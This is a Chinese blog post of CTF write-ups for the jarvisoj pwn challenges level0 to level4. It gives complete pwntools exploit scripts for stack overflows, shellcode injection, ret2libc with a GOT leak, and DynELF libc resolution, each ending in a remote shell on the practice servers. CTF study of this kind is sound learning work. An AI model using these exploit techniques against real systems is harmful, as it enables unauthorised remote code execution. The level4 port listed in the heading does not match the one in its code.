pwn学习总结(五) —— 经典题目整理一

栈溢出入门

平台:jarvisoj
题目:level0
靶机:nc pwn2.jarvisoj.com 9881

查看程序防护
checksec
查看反汇编
buf
exp

from pwn import *
import pwn

r = pwn.remote('pwn2.jarvisoj.com', 9881)

#         buf        rbp     callsystem
payload = 'a'*0x80 + 'b'*8 + p64(0x400596)

r.sendline(payload)
r.interactive()

getshell
exp

字符串截取+缓冲区执行

平台:jarvisoj
题目:level1
靶机:nc pwn2.jarvisoj.com 9877

查看程序防护
checksec
反汇编
buf
本地运行
local
exp

# -*- coding: UTF-8 -*-
from pwn import *

r = pwn.remote('pwn2.jarvisoj.com', 9877)

# 截取buf的地址
buf_addr = int(r.recvline()[14:-2], 16)

# 生成一段标准shellcode
shellcode = asm(shellcraft.sh()) + '\x00'

# 由于buf被填充为shellcode,且buf地址已知,因此可以让程序跳到buf执行shellcode
#         shelloce后面填充'a'           ebp     返回地址为buf的地址
payload = shellcode.ljust(0x88, 'a') + 'b'*4 + p32(buf_addr)

r.sendline(payload)
r.interactive()

get shell
getshell

函数调用+参数传递

平台:jarvisoj
题目:level2
靶机:nc pwn2.jarvisoj.com 9878

查看文件防护
checksec
查看反汇编
vul
bin_sh
exp

# -*- coding: utf-8 -*-
from pwn import *

r = remote('pwn2.jarvisoj.com', 9878)
elf = ELF('./level2')

junk = 'a'*(0x88+4)
system_addr = elf.symbols['system']
bin_sh_addr = elf.search('/bin/sh').next()

#         buf+ebp   ret_addr           任意     参数
payload = junk   +  p32(system_addr) + p32(0) + p32(bin_sh_addr)
#p32(0)为system函数的返回地址
#返回前已经执行了system('bin/sh'),所以这里可以任意填充

r.send(payload)
r.interactive()

getshell
getshell

GOT泄露

平台:jarvisoj
题目:level3
靶机:nc pwn2.jarvisoj.com 9879

查看文件防护
checksec
已知信息

  1. level3存在溢出
  2. level3中system函数
  3. level3中’/bin/sh’字符串
  4. 提供了libc文件,libc中存在system函数与’/bin/sh’字符串

目的:获得system函数与’/bin/sh’字符串在libc中的内存地址并进行调用

exp

# -*- coding: utf-8 -*-
from pwn import *

r = remote('pwn2.jarvisoj.com', 9879)

level3 = ELF('./level3')
libc = ELF('./libc-2.19.so')

junk = 'a' * (0x88 + 4)

func_vul_addr = 0x804844b

write_plt = level3.symbols['write']
write_got = level3.got['write']

#write(int fd, const void *buf, size_t n)
#通过write函数获得write的got地址,即在libc模块中的地址
#write函数执行时,got表中的地址已经被重写为write在内存中的实际地址
#调用write后,令其返回到vul函数,目的是为了再次执行read
#                 ret_addr         write的返回地址      fd       buf              n
payload1 = junk + p32(write_plt) + p32(func_vul_addr) + p32(1) + p32(write_got) + p32(4)

r.recvuntil("Input:\n")
r.sendline(payload1)

write_addr = u32(r.recv(4))

#函数在libc中的plt地址
libc_write_plt = libc.symbols['write']
libc_system_plt = libc.symbols['system']
libc_bin_sh_plt = libc.search('/bin/sh').next()

#计算libc中write函数GOT与PLT的偏移,可以通过偏移定位其它函数在内存中的地址
libc_offset = write_addr - libc_write_plt

system_addr = libc_system_plt + libc_offset
bin_sh_addr = libc_bin_sh_plt + libc_offset

#                 ret_addr           任意              参数:'/bin/sh'
payload2 = junk + p32(system_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)

r.recvuntil("Input:\n")
r.sendline(payload2)

r.interactive()

getshell
getshell

使用DynELF实现远程libc泄露

平台:jarvisoj
题目:level4
靶机:nc pwn2.jarvisoj.com 9877

查看文件防护
checksec
查看反汇编
反汇编
exp

# -*- coding: utf-8 -*-
from pwn import *

r = remote('pwn2.jarvisoj.com', 9880)

elf = ELF('./level4')

write_plt = elf.symbols['write']
vul_addr  = 0x804844b

junk = 'a'*(0x88+4)

#DynELF函数
#条件:能够实现任意地址读,并且能够反复触发
def leak(address):
    #                 ret_addr         write返回地址   参数1    参数2          参数3
    payload1 = junk + p32(write_plt) + p32(vul_addr) + p32(1) + p32(address) + p32(4)
    r.sendline(payload1)
    data = r.recv(4)
    return data
    
#使用DynELF远程泄露libc
memory = DynELF(leak, elf=elf)
#搜索远程libc中system函数的地址
system_addr = memory.lookup('system', 'libc')

bss_addr = 0x804a024
read_plt = elf.symbols['read']

#                 ret_addr        read返回地址    参数1    参数2          参数3
payload2 = junk + p32(read_plt) + p32(vul_addr) + p32(0) + p32(bss_addr) + p32(8)
r.sendline(payload2)
#在bss段中写入'/bin/sh',注意00截断
r.send('/bin/sh\x00')

#调用system('bin/sh')
payload3 = junk + p32(system_addr) + p32(0) + p32(bss_addr)
r.sendline(payload3)

r.interactive()

getshell
getshell

发布了45 篇原创文章 · 获赞 2 · 访问量 1834

猜你喜欢

转载自blog.csdn.net/qq_41988448/article/details/103140178
今日推荐